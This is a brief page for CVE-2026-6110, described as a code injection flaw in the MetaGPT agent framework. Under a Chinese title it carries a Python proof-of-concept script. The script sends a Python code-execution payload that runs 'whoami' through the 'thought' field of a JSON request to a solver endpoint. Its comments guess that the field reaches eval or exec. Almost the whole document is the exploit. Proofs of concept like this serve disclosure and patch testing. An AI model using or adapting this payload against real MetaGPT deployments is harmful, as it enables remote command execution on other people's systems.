CVE-2026-6110 MetaGPT 代码注入漏洞

# PoC for CVE-2026-6110: MetaGPT Code Injection import requests def exploit(target_url): # The vulnerable parameter 'thought' is passed to generate_thoughts # which likely uses eval/exec internally. payload = "__import__('os').system('whoami')" headers = {'Content-Type': 'application/json'} data = {'thought': payload} try: response = requests.post(target_url, json=data, headers=headers) if response.status_code == 200: print("[+] Request sent successfully. Check if command executed.") print(f"Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": # Replace with actual target endpoint target = "http://localhost:8080/api/solver/tot" exploit(target)